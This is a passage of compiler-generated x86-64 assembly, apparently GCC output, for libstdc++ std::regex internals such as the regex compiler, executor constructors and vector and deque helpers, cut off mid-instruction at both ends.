_ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEppEv jmp .L458 .L456: movzx eax, BYTE PTR [rbp-17] jmp .L463 mov rbx, rax lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume mov rbx, rax lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L463: add rsp, 328 pop rbx pop rbp ret _ZSt11__addressofIcEPT_RS0_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt19__iterator_categoryIPKcENSt15iterator_traitsIT_E17iterator_categoryERKS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi pop rbp ret _ZSt10__distanceIPKcENSt15iterator_traitsIT_E15difference_typeES3_S3_St26random_access_iterator_tag: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] sub rax, QWORD PTR [rbp-8] pop rbp ret _ZN9__gnu_cxx13new_allocatorImEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorImE10deallocateEPmm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZSt9addressofIKcEPT_RS1_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt11__addressofIKcEPT_RS1_ leave ret _ZN9__gnu_cxx17__is_null_pointerIcEEbPT_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi cmp QWORD PTR [rbp-8], 0 sete al pop rbp ret _ZSt19__iterator_categoryIPcENSt15iterator_traitsIT_E17iterator_categoryERKS2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi pop rbp ret _ZSt10__distanceIPcENSt15iterator_traitsIT_E15difference_typeES2_S2_St26random_access_iterator_tag: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] sub rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_S_copy_charsEPcS5_S5_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-24] sub rax, QWORD PTR [rbp-16] mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm nop leave ret _ZSt11__addressofIKcEPT_RS1_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEEC2EPKcS6_RKSt6localeNSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp push rbx sub rsp, 120 mov QWORD PTR [rbp-88], rdi mov QWORD PTR [rbp-96], rsi mov QWORD PTR [rbp-104], rdx mov QWORD PTR [rbp-112], rcx mov DWORD PTR [rbp-116], r8d mov esi, 32 mov edi, 16 call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov esi, 64 mov edi, eax call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov esi, 256 mov edi, eax call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov esi, 512 mov edi, eax call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov esi, 128 mov edi, eax call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov edx, eax mov eax, DWORD PTR [rbp-116] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax jne .L485 mov eax, DWORD PTR [rbp-116] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ jmp .L486 .L485: mov eax, DWORD PTR [rbp-116] .L486: mov rdx, QWORD PTR [rbp-88] mov DWORD PTR [rdx], eax mov rax, QWORD PTR [rbp-88] lea rbx, [rax+8] mov rdx, QWORD PTR [rbp-112] lea rax, [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt6localeC1ERKS_ mov rax, QWORD PTR [rbp-88] mov ecx, DWORD PTR [rax] lea rsi, [rbp-56] mov rdx, QWORD PTR [rbp-104] mov rax, QWORD PTR [rbp-96] mov r8, rsi mov rsi, rax mov rdi, rbx call _ZNSt8__detail8_ScannerIcEC1EPKcS3_NSt15regex_constants18syntax_option_typeESt6locale lea rax, [rbp-56] mov rdi, rax call _ZNSt6localeD1Ev mov rdx, QWORD PTR [rbp-88] mov rax, QWORD PTR [rbp-88] lea rcx, [rax+256] mov rax, QWORD PTR [rbp-112] mov rsi, rax mov rdi, rcx call _ZSt11make_sharedINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEJRKSt6localeRNSt15regex_constants18syntax_option_typeEEESt10shared_ptrIT_EDpOT0_ mov rax, QWORD PTR [rbp-88] add rax, 272 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev mov rax, QWORD PTR [rbp-88] add rax, 304 mov rdi, rax call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEEC1IS8_vEEv mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv lea rdx, [rax+80] mov rax, QWORD PTR [rbp-88] mov QWORD PTR [rax+384], rdx mov rax, QWORD PTR [rbp-112] mov rdi, rax call _ZSt9use_facetISt5ctypeIcEERKT_RKSt6locale mov rdx, rax mov rax, QWORD PTR [rbp-88] mov QWORD PTR [rax+392], rdx mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNKSt8__detail9_NFA_base8_M_startEv mov rbx, rax mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-80] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE23_M_insert_subexpr_beginEv mov rdx, rax lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_disjunctionEv mov rax, QWORD PTR [rbp-88] mov esi, 27 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L487 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeE .L487: lea rax, [rbp-48] mov rdx, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv lea rdx, [rbp-48] lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE21_M_insert_subexpr_endEv mov rdx, rax lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_acceptEv mov rdx, rax lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE18_M_eliminate_dummyEv jmp .L496 mov rbx, rax lea rax, [rbp-56] mov rdi, rax call _ZNSt6localeD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume mov rbx, rax mov rax, QWORD PTR [rbp-88] add rax, 304 mov rdi, rax call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEED1Ev jmp .L490 mov rbx, rax .L490: mov rax, QWORD PTR [rbp-88] add rax, 272 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev mov rax, QWORD PTR [rbp-88] add rax, 256 mov rdi, rax call _ZNSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev jmp .L491 mov rbx, rax .L491: mov rax, QWORD PTR [rbp-88] add rax, 8 mov rdi, rax call _ZNSt8__detail8_ScannerIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L496: add rsp, 120 pop rbx pop rbp ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EED2Ev: push rbp mov rbp, rsp push rbx sub rsp, 88 mov QWORD PTR [rbp-88], rdi mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-80] mov rdx, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE3endEv lea rax, [rbp-48] mov rdx, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE5beginEv lea rdx, [rbp-80] lea rsi, [rbp-48] mov rax, QWORD PTR [rbp-88] mov rcx, rbx mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_destroy_dataESt15_Deque_iteratorIS5_RS5_PS5_ESB_RKS6_ mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EED2Ev nop add rsp, 88 pop rbx pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE10_M_get_nfaEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] add rax, 256 mov rdi, rax call _ZSt4moveIRSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEEONSt16remove_referenceIT_E4typeEOSA_ mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt10shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC1IS5_vEEOS_IT_E mov rax, QWORD PTR [rbp-8] leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEED2Ev nop leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EEC2ERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implC1ERKS5_ nop leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 3 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implD1Ev nop leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEEEvT_S6_ nop leave ret _ZSteqIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEbRKSt10shared_ptrIT_EDn: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEcvbEv xor eax, 1 leave ret _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv leave ret _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_resizeEj: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] add edx, 3 mov edx, edx mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE6resizeEm nop leave ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC1ERKS6_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] lea rdx, [rax+8] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC1ERKS6_ mov rax, QWORD PTR [rbp-8] leave ret _ZN9__gnu_cxxneIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEEbRKNS_17__normal_iteratorIT_T0_EESF_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEE4baseEv mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEE4baseEv mov rax, QWORD PTR [rax] cmp rbx, rax setne al add rsp, 24 pop rbx pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEppEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEdeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] pop rbp ret _ZNKSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEE5flagsEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EEC2ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp push r12 push rbx sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov QWORD PTR [rbp-64], rcx mov QWORD PTR [rbp-72], r8 mov DWORD PTR [rbp-76], r9d mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC1Ev mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-48] mov QWORD PTR [rax+32], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-56] mov QWORD PTR [rax+40], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-72] mov QWORD PTR [rax+48], rdx mov rax, QWORD PTR [rbp-72] add rax, 16 mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+56], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax+64], rdx mov rax, QWORD PTR [rbp-40] lea rbx, [rax+72] lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEEC1Ev mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv mov rcx, rax lea rax, [rbp-17] mov rdx, rax mov rsi, rcx mov rdi, rbx call _ZNSt6vectorISt4pairIPKciESaIS3_EEC1EmRKS4_ lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEED1Ev mov rax, QWORD PTR [rbp-40] lea rbx, [rax+96] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv mov r12, rax mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] mov rdi, rax call _ZNKSt8__detail9_NFA_base8_M_startEv mov rdx, r12 mov rsi, rax mov rdi, rbx call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EEC1Elm mov eax, DWORD PTR [rbp-76] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L524 mov edi, 4 call _ZNSt15regex_constantscoENS_15match_flag_typeE mov ebx, eax mov edi, 1 call _ZNSt15regex_constantscoENS_15match_flag_typeE mov edx, eax mov eax, DWORD PTR [rbp-76] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ mov esi, ebx mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ jmp .L525 .L524: mov eax, DWORD PTR [rbp-76] .L525: mov rdx, QWORD PTR [rbp-40] mov DWORD PTR [rdx+136], eax jmp .L531 mov rbx, rax lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEED1Ev jmp .L527 mov rbx, rax mov rax, QWORD PTR [rbp-40] add rax, 72 mov rdi, rax call _ZNSt6vectorISt4pairIPKciESaIS3_EED1Ev .L527: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L531: add rsp, 64 pop rbx pop r12 pop rbp ret _ZNSt6vectorISt4pairIPKciESaIS3_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPSt4pairIPKciES3_EvT_S5_RSaIT0_E mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EED2Ev nop leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEES9_EvT_SB_RSaIT0_E mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EED2Ev nop leave ret _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EED2Ev: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEE6_M_ptrEv mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] test rax, rax je .L535 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EE11get_deleterEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rsi, rax mov rdi, rdx call _ZNKSt14default_deleteIA_bEclIbEENSt9enable_ifIXsrSt14is_convertibleIPA_T_PS0_E5valueEvE4typeEPS5_ .L535: mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE8_M_matchEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+32] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov esi, 0 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE7_M_mainENS9_11_Match_modeE leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EEC2ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp push r12 push rbx sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov QWORD PTR [rbp-64], rcx mov QWORD PTR [rbp-72], r8 mov DWORD PTR [rbp-76], r9d mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC1Ev mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-48] mov QWORD PTR [rax+32], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-56] mov QWORD PTR [rax+40], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-72] mov QWORD PTR [rax+48], rdx mov rax, QWORD PTR [rbp-72] add rax, 16 mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rdx, rax mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rax+56], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax+64], rdx mov rax, QWORD PTR [rbp-40] lea rbx, [rax+72] lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEEC1Ev mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv mov rcx, rax lea rax, [rbp-17] mov rdx, rax mov rsi, rcx mov rdi, rbx call _ZNSt6vectorISt4pairIPKciESaIS3_EEC1EmRKS4_ lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEED1Ev mov rax, QWORD PTR [rbp-40] lea rbx, [rax+96] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] add rax, 56 mov rdi, rax call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv mov r12, rax mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] mov rdi, rax call _ZNKSt8__detail9_NFA_base8_M_startEv mov rdx, r12 mov rsi, rax mov rdi, rbx call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EEC1Elm mov eax, DWORD PTR [rbp-76] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L539 mov edi, 4 call _ZNSt15regex_constantscoENS_15match_flag_typeE mov ebx, eax mov edi, 1 call _ZNSt15regex_constantscoENS_15match_flag_typeE mov edx, eax mov eax, DWORD PTR [rbp-76] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ mov esi, ebx mov 